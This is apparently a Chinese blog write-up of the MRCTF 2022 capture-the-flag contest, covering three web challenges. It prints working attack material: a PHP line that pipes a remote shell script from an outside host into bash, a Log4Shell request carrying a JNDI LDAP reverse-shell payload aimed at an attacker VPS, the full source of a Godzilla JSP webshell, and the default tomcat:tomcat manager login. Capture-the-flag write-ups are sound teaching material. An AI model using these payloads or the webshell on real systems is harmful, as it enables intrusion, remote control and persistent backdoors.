引言
MRCTF 2022
2022.4.23-4.24
今年的 MRCTF 由个人赛变成了团队赛,于是在四月底的一个周末,NanoApe 拉了喵喵,还有 GZTime 和 TonyCrane 组了个小队,一起来看了看这个比赛,玩了玩
因为我们几个主要擅长 Misc,于是起名 Never Gonna Try a Misc🎵,哈哈
由于那时候还有别的事,喵喵就随便看了看题,然而 Misc 转眼就被 Nano 给 AK 了,Orz
这篇就记录一下咱这边做题的 writeup 吧,很水(
(噢,你问我为啥现在才发出来?因为这是一篇写了一半之后放在草稿箱里长草的文章了,整理了一下发了好了……
(老咕咕咕了
Web
WebCheckIn
直接写命令弹shell,会调用 php 执行
<?php system("curl fuzz.red/sh4ll/ip:port | bash");
连上去看了下,写个🐎,发现一句话木马也有一堆
http://webshell.node3.mrctf.fun/shell/1.php pass: 1
http://webshell.node3.mrctf.fun/shell/miaomiao.php pass: cmd
进去发现已经被人提权了,另外 php 执行貌似就是 root
/tmp/app.py
上传后会执行,然后好像会调用个模型来判断
from flask import Flask, request
from werkzeug.utils import secure_filename # 获取上传文件的文件名
import random
import hashlib
import shutil
import subprocess
import pickle
import pandas as pd
import os,stat
import re
UPLOAD_FOLDER = r'/tmp/upload/' # 上传路径
ALLOWED_EXTENSIONS = set(['php']) # 允许上传的文件类型
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
with open('/tmp/vec-model.pkl', "rb") as file: vectorizer = pickle.load(file)
with open('/tmp/rfc-model.pkl', "rb") as file: rfc = pickle.load(file)
# vectorizer = joblib.load('vectorizer.pkl')
# rfc = joblib.load('rfc.pkl')
RD, WD, XD = 4, 2, 1
BNS = [RD, WD, XD]
MDS = [
[stat.S_IRUSR, stat.S_IRGRP, stat.S_IROTH],
[stat.S_IWUSR, stat.S_IWGRP, stat.S_IWOTH],
[stat.S_IXUSR, stat.S_IXGRP, stat.S_IXOTH]
]
def chmod(path, mode):
if isinstance(mode, int):
mode = str(mode)
if not re.match("^[0-7]{1,3}$", mode):
raise Exception("mode does not conform to ^[0-7]{1,3}$ pattern")
mode = "{0:0>3}".format(mode)
mode_num = 0
for midx, m in enumerate(mode):
for bnidx, bn in enumerate(BNS):
if (int(m) & bn) > 0:
mode_num += MDS[bnidx][midx]
os.chmod(path, mode_num)
def index_of_str(s1, s2):
res = []
len1 = len(s1)
len2 = len(s2)
if s1 == "" or s2 == "":
return -1
for i in range(len1 - len2 + 1):
if s1[i] == s2[0] and s1[i:i+len2] == s2:
res.append(i)
return res if res else -1
def detector(each_filepath):
print("模型成功加载")
each_path = "/tmp/upload/test.php"
try:
a = subprocess.Popen(["php -dvld.verbosity=1 -dvld.active=1 -dvld.execute=1 " + each_filepath],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE, shell=True)
with open(each_filepath+".op", "wb") as fp:
fp.write(a.communicate()[1])
fp.close()
print(each_path)
words_operands = ""
words_op = ""
with open(each_filepath+".op", "r") as fp:
tmp = fp.readlines()
flag = 0
idx_op = 0
data = []
all_data = []
for i in range(0, len(tmp)):
if "\n" == tmp[i]:
if flag == 1:
all_data.append(data)
data = []
flag = 0
if flag == 1:
# print(each)
a = tmp[i][:-1]
each_op = a[idx_op:idx_fetch].lstrip().rstrip()
each_operands = a[idx_operands:].lstrip().rstrip()
each_return = a[idx_return:idx_operands].lstrip().rstrip()
data.append([each_op, each_return, each_operands, 1])
words_operands += each_operands + " "
words_op += each_op + " "
if "---" in tmp[i]:
flag = 1
idx_op = index_of_str(tmp[i - 1], "op")[0]
idx_operands = index_of_str(tmp[i - 1], "operands")[0]
idx_fetch = index_of_str(tmp[i - 1], "fetch")[0]
idx_return = index_of_str(tmp[i - 1], "return")[0]
except:
print("can't parse")
exit(0)
vector = vectorizer.transform([words_op])
print(vector.shape)
vec = vector.toarray()
print(vec)
df = pd.DataFrame(vec)
print(rfc.predict(df))
if rfc.predict(df) == 1:
return 1
def gen_path():
seed = "1234567890abcdefghiZQAXSWCDEVFRBGTNHYJMUKOLPjklmnopqrstuvwxyz"
sa = []
for i in range(15):
sa.append(random.choice(seed))
salt = ''.join(sa)
print(salt) # 打印显示的随机字符
hash = hashlib.md5()
hash.update(salt.encode())
md5_test = hash.hexdigest()
return md5_test
import os
def mkdir(path):
folder = os.path.exists(path)
if not folder: # 判断是否存在文件夹如果不存在则创建为文件夹
os.makedirs(path) # makedirs 创建文件时如果路径不存在会创建这个路径
def allowed_file(filename): # 验证上传的文件名是否符合要求,文件名必须带点并且符合允许上传的文件类型要求,两者都满足则返回 true
return '.' in filename and \
filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST': # 如果是 POST 请求方式
file = request.files['file'] # 获取上传的文件
if file and allowed_file(file.filename): # 如果文件存在并且符合要求则为 true
filename = secure_filename(file.filename) # 获取上传文件的文件名
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) # 保存文件
if detector('/tmp/upload/'+filename):
return 'not allowed!' # 返回保存成功的信息
else :
dir_name = gen_path()
upload_path = "/var/www/html/"+dir_name + '/index.php'
upload_dir = '/var/www/html/' + dir_name + '/'
mkdir(upload_dir)
shutil.move(os.path.join(app.config['UPLOAD_FOLDER'], filename), upload_path)
chmod(upload_dir,555)
return upload_path.replace("/var/www/html/","/shell/")
# 使用 GET 方式请求页面时或是上传文件失败时返回上传文件的表单页面
return '''
<!doctype html>
<title>Upload new File</title>
<h1>Upload new File</h1>
<form action="" method=post enctype=multipart/form-data>
<p><input type=file name=file>
<input type=submit value=Upload>
</form>
'''
os.system("service apache2 restart")
app.run("0.0.0.0",5000)
找了半天 flag 没找到在哪里
最后看了看 history,发现原来 flag 塞在 /var/log/dpkg.log
里了……
Bonous
Java_mem_shell_Filter
用户名试了试,发现 log4jshell 有戏
那就拿出 JNDIExploit 进行一波尝试吧
VPS 上用 JNDIExploit-1.2-SNAPSHOT.jar
起一个服务
发包,反弹 shell
POST /MyServlet HTTP/1.1
Host: 106.75.33.92:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
Origin: http://106.75.33.92:8888
Connection: close
Referer: http://106.75.33.92:8888/
Cookie: JSESSIONID=A32B79E76E5911DAEE5E2CDAE730CCB7
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
name=${jndi%3aldap%3a//VPSIP%3a1389/Basic/ReverseShell/VPSIP/PORT}&password=1
翻垃圾看到了哥斯拉木马
<%! String xc="3c6e0b8a9c15224a"; String pass="Don't touch my shell."; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
根据配置连上去
找了半天 flag 没找到,想到会不会是内存马。
最后 dump 内存,发现确实在内存里。
(还是喵喵第一次打 log4j 拿 shell 呢,呜呜咱好菜啊
P.S.:
这篇文章发的时候 fuzz.red 这个域名提供的服务已经失效了,师傅们可以找其他的来试试
做题时候使用的 @feihong-cs 大佬的项目https://github.com/feihong-cs/JNDIExploit 目前也已经 404 了
可以用 https://github.com/WhiteHSBG/JNDIExploit 这个项目来试试,作者为了支持SpringBootExploit工具,是定制版的服务端,且新增了哥斯拉内存马,新增msf上线支持等。
Java_mem_shell_Basic
http://106.75.33.92:8080/manager/html
tomcat manager 弱密码
tomcat:tomcat
进去之后部署 war 包
flag 在木马里/usr/local/tomcat/work/Catalina/localhost/ROOT/org/apache/jsp/threatbook_jsp.java
Misc
队友 NanoApe AK 了 Misc 的题目,还拿到了 6 个一血,太强啦!
详见 NanoApe 的 MRCTF2022 Writeup
小结
喵喵菜菜,三道题就水了一篇博客。
Nano 强强!!!Orz!!!
当然,官方也放出了一些题解在 https://github.com/BuptMerak/mrctf-2022-writeups
顺便扔几篇大师傅们的 wp 在这里:
Eki:MRCTF2022后记 (ppd,Tprint,Spring Coffee 三道题,作者自评难度是从简单到难
Y4tacker:2022MRCTF-Java部分
etc.
(溜了溜了喵